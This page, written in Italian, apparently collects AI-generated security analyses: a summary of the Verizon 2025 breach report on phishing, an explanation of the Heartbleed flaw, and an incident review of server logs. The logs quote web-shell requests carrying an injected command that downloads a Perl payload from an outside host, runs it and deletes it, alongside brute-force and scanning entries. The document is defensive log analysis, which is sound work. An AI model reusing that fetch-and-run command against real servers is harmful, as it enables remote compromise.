AI Report Analysis

- **Prompt →** Patendo da questo Data Breach Investigations Report di Verizon, scrivi un riassunto. Evidenzia le informazioni su phishing e social engineering

Analisi di Gemini sul Data Breach Investigations Report di Verizon

Ecco un riassunto dettagliato e preciso del Verizon 2025 Data Breach Investigations Report, con un focus specifico su *Phishing* e *Social Engineering*.

Panoramica Generale del Report

Il panorama delle minacce delineato dal report mostra un'evoluzione delle tattiche e degli obiettivi:

- Il team ha analizzato oltre 12.000 *data breach* confermati.
- Lo *Human element* si conferma un fattore critico, risultando coinvolto nel 60% dei *breach*.
- Il coinvolgimento di terze parti (*Third-party involvement*) negli incidenti è raddoppiato rispetto all'anno precedente, raggiungendo il 30%.
- Le compromissioni tramite vulnerabilità (*Exploit vuln*) sono in forte crescita, avendo raggiunto il 20% e superando il *Phishing* tra i vettori di accesso iniziale.

Focus su Social Engineering

Il *Social Engineering* fa affidamento sull'inganno e sulla manipolazione per aggirare le difese aziendali:

- Questo *pattern* di attacco si conferma stabilmente tra i primi tre a livello globale fin dal 2019.
- Le motivazioni degli attaccanti si dividono principalmente in due categorie: le motivazioni *Financial* rappresentano il 55%.
- Gli attacchi motivati da *Espionage* sono in forte ascesa e costituiscono ora il 52% dei *breach* in questo *pattern*.
- Sebbene *Phishing* e *Pretexting* rimangano le tecniche predominanti , emergono nuove tattiche come il *Prompt bombing*, che consiste nel bombardare gli utenti con continue richieste di *login* per forzare l'approvazione sui sistemi *MFA*.
- Si registra anche un uso diffuso del *Baiting*, spesso veicolato tramite posizionamento SEO o annunci pubblicitari malevoli, che porta gli utenti a scaricare *Malware* credendo si tratti di software legittimo.

Focus su Phishing

Il *Phishing* rimane una minaccia costante e un pilastro fondamentale per l'esfiltrazione di credenziali e l'accesso iniziale:

- Rappresenta il 16% dei vettori di accesso iniziale in tutti i *data breach* analizzati.
- All'interno del *pattern* specifico del *Social Engineering*, il *Phishing* è l'azione in assoluto più frequente, essendo presente nel 57% degli incidenti.
- Gli attori delle minacce stanno sfruttando l'intelligenza artificiale generativa: la percentuale di *AI-assisted malicious emails* è raddoppiata negli ultimi due anni, passando da circa il 5% al 10%.
- I programmi di *security awareness training* si dimostrano utili soprattutto per la visibilità aziendale: gli utenti che hanno ricevuto una formazione recente segnalano le email di *Phishing* con una frequenza significativamente maggiore (un *report rate* del 21% contro una base del 5%).
- Tuttavia, l'impatto di questi programmi di formazione sulla riduzione effettiva del *click rate* risulta molto meno marcato.

Analisi del codice in cerca di vulnerabilità

https://github.com/patricia-gallardo/insecure-coding-examples/blob/main/vulnerability/heartbleed.c

Il file heartbleed.c indicato fa riferimento alla simulazione e allo studio della nota vulnerabilità **Heartbleed** (CVE-2014-0160), classificata come *Out-of-bounds Read* (CWE-125), che ha colpito storicamente l'implementazione dell'estensione TLS/DTLS *Heartbeat* all'interno della libreria OpenSSL.

Di seguito l'analisi tecnica della vulnerabilità:

1. Root Cause

Il protocollo *Heartbeat* prevede un messaggio di *request* in cui il client invia un *payload* (ad esempio una breve stringa di testo) e un campo numerico che ne dichiara la lunghezza. Il server deve rispondere allocando memoria e copiando l'esatto *payload* nel messaggio di *response*. La vulnerabilità deriva dalla totale **mancanza di un *bounds check***. Il codice C originale accetta ciecamente il valore della lunghezza dichiarato dal client senza mai verificare se esso corrisponda alla dimensione reale dei dati effettivamente trasmessi.

2. Il difetto nel codice C

L'errore critico si manifesta nella funzione che processa la richiesta, al momento di allocare il *buffer* di risposta e copiare i dati in memoria tramite la funzione memcpy.

3. Impatto

L'assenza di validazione permette a un attaccante remoto di effettuare un *dump* continuo della memoria dello *heap* del server, esfiltrando fino a 64 KB di dati per ogni singola richiesta. Questa memoria adiacente non inizializzata contiene frequentemente dati critici in chiaro

AI Log Analysis

```
Oct  2 06:25:46 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2
Oct  2 06:25:48 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2
Oct  2 06:25:51 host-vps sshd[8463]: Failed password for root from 116.31.116.17 port 31142 ssh2
Oct  2 06:25:51 host-vps sshd[8463]: Received disconnect from 116.31.116.17: 11:  [preauth]
191.96.249.97 - - [20/Apr/2017:15:45:49 +0200] "GET /phpmyadmin/scripts/setup.php HTTP/1.0" 404 162 "-" "-" "-"
190.129.24.154 - - [14/Jul/2015:06:41:59 -0400] "GET /phpMyAdmin/index.php HTTP/1.1" 404 162 "-" "Python-urllib/2.6" "-"
190.129.24.154 - - [20/Apr/2017:09:04:47 +0200] "PROPFIND /webdav/ HTTP/1.1" 405 166 "-" "WEBDAV Client" "-"
180.97.106.37 - - [20/Apr/2017:04:31:02 +0200] "\x04\x01\x00P\xB4\xA3qR\x00" 400 166 "-" "-" "-"
216.244.82.83 - - [08/Oct/2016:01:02:03 -0400] "POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" "-"
112.90.92.106 - - [08/Oct/2016:01:23:09 -0400] "POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:35.0) Gecko/20100101 Firefox/35.0" "-"
199.168.97.28 - - [08/Oct/2016:02:28:36 -0400] "POST /wp-comments-post.php HTTP/1.0" 200 3421 "http://www.website.com/" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/47.0.2526.111 Safari/537.36" "-"
192.185.4.146 - - [08/Oct/2016:09:19:13 -0400] "POST /wp-comments-post.php HTTP/1.1" 200 3433 "http://www.website.com/" "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko" "-"
client: 178.137.83.79, server: www.website.com, request: "GET /wp-content/plugins/formcraft/file-upload/server/php/upload.php HTTP/1.1", host: "www.website.com"
client: 191.101.235.206, server: www.website.com, request: "GET
/wp-content/plugins/revslider/temp/update_extract/revslider/blacunix.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt* HTTP/1.1", host:
"www.website.com"
client: 191.101.235.206, server: www.website.com, request: "GET /wp-admin/user/reload-x.pHp?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt*
HTTP/1.1", host: "www.website.com"
client: 191.101.235.206, server: www.website.com, request: "GET /wp-admin/user/myluph.php?cmd=cd%20/tmp%20;wget%20http://nowosely.by//cache/doc.txt%20;%20perl%20doc.txt%20;%20rm%20-rf%20doc.txt*
HTTP/1.1", host: "www.website.com"
client: 222.108.76.91, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 90.73.82.117, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 109.64.27.55, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 49.149.16.66, server: www.website.com, request: "GET /wp-login.php HTTP/1.1", host: "www.website.com"
client: 91.200.12.47, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
client: 83.24.28.210, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
client: 177.129.13.106, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
client: 186.32.202.243, server: www.website.com, request: "POST /xmlrpc.php HTTP/1.1", host: "www.website.com"
Oct 12 06:44:25 host-vps proftpd[14581] host-vps (110.11.148.226[110.11.148.226]): FTP session opened.
Oct 12 06:44:26 host-vps proftpd[14581] host-vps (110.11.148.226[110.11.148.226]): USER admin: no such user found from 110.11.148.226 [110.11.148.226] to xx.xx.xx.xx:21
Oct 12 06:44:28 host-vps proftpd[14581] host-vps (110.11.148.226[110.11.148.226]): FTP session closed.
Oct 12 07:57:56 host-vps proftpd[14904] host-vps (106.76.88.50[106.76.88.50]): FTP session opened.
Oct 10 18:43:08 host-vps postfix/smtpd[9294]: connect from host53-251-static.114-81-b.business.telecomitalia.it[81.114.251.53]
Oct 10 18:43:09 host-vps postfix/smtpd[9294]: disconnect from host53-251-static.114-81-b.business.telecomitalia.it[81.114.251.53]
Oct 10 18:46:29 host-vps postfix/anvil[9296]: statistics: max connection rate 1/60s for (smtp:81.114.251.53) at Oct 10 18:43:08
Oct 10 18:46:29 host-vps postfix/anvil[9296]: statistics: max connection count 1 for (smtp:81.114.251.53) at Oct 10 18:43:08
```

Ecco il dettaglio tecnico degli IoC e delle tipologie di attacco individuati nell'esercizio, suddivisi per vettore:

1. Attacco Brute Force su protocollo SSH

- IoC (Attacker IP): *116.31.116.17*
- Target: Utente root
- Dettagli: Le prime righe mostrano una sequenza rapida di errori "Failed password" per l'utente root sul demone sshd, seguita da una disconnessione anticipata ([preauth]). Si tratta di un classico attacco Dictionary o Brute Force per ottenere l'accesso remoto con i massimi privilegi.

2. Scanning Automatizzato e Vulnerability Probing (Web)

- IoC (Attacker IPs): *191.96.249.97*, *190.129.24.154*, *180.97.106.37*, *178.137.83.79*
- IoC (User-Agent): *Python-urllib/2.6*
- Dettagli: Diversi indirizzi IP effettuano richieste GET a path noti e sensibili come /phpmyadmin/scripts/setup.php, percorsi /webdav/ o plugin vulnerabili di WordPress come formcraft. La presenza di Python-urllib al posto di un browser legittimo è un

indicatore certo dell'utilizzo di automated scanner. Inoltre, la richiesta da parte di *180.97.106.37* contenente codici esadecimali (\x04\x01\x00...) evidenzia un tentativo di inviare un payload malformato per sondare la risposta del server web e cercare vulnerabilità di corruzione della memoria.

3. Remote Code Execution (RCE) e Command Injection (Critico)

- IoC (Attacker IP): *191.101.235.206*
- IoC (Malicious Domain / URL): *http://nowosely.by/cache/doc.txt*
- Dettagli: Questo è l'evento con la severity più alta. L'attaccante tenta di iniettare comandi di sistema tramite richieste GET che puntano a path tipici di vecchi plugin compromessi (es. RevSlider in WordPress) e a file che richiamano palesi backdoor o web shell (blacunix.php, reload-x.php, myluph.php).
- Analisi del Payload: Il parametro della query string ?cmd= contiene comandi shell concatenati tramite punto e virgola (codificato come %20;%20 ovvero spazio-punto e virgola-spazio):
    1. cd /tmp: Si sposta in una directory temporanea che spesso ha permessi di scrittura ed esecuzione liberi.
    2. wget http://nowosely.by/cache/doc.txt: Scarica un payload dal server controllato dall'attaccante.
    3. perl doc.txt: L'estensione .txt è un tentativo di elusione; in realtà viene eseguito come script dall'interprete Perl (probabilmente per aprire una reverse shell).
    4. rm -rf doc.txt: Elimina immediatamente il file malevolo appena eseguito, una classica tecnica di anti-forensics per non lasciare tracce su disco.

4. Attacchi applicativi al CMS WordPress

- Dettagli: Si nota un volume di richieste GET /wp-login.php, indicativo di tentativi di accesso non autorizzati, affiancato a richieste POST /xmlrpc.php. L'utilizzo massivo dell'endpoint xmlrpc.php denota un XML-RPC Pingback attack, una tecnica impiegata per operare attacchi di Amplification (spesso a fini DDoS) o per condurre attacchi di Brute Force massivi e nascosti, capaci di testare migliaia di credenziali con una singola request HTTP.

5. Attacco Brute Force su protocollo FTP

- IoC (Attacker IP): *110.11.148.226*
- Target: Utente admin
- Dettagli: I log del demone proftpd registrano un tentativo di accesso con un utente inesistente sul sistema (USER admin: no such user found), confermando lo scanning sistematico delle credenziali che si estende anche al servizio di trasferimento file.

Le righe finali relative a postfix (SMTP) mostrano connessioni da un IP dinamico commerciale. Pur potendo rappresentare un tentativo di sfruttare il server come mail relay per l'invio di Spam, la singola connessione registrata non costituisce da sola un pattern esplicito di compromissione rispetto agli eventi critici precedenti. L'azione di Incident Response primaria richiede il blocco a livello Firewall dell'IP 191.101.235.206 e la ricerca di processi Perl non autorizzati in esecuzione sulla macchina.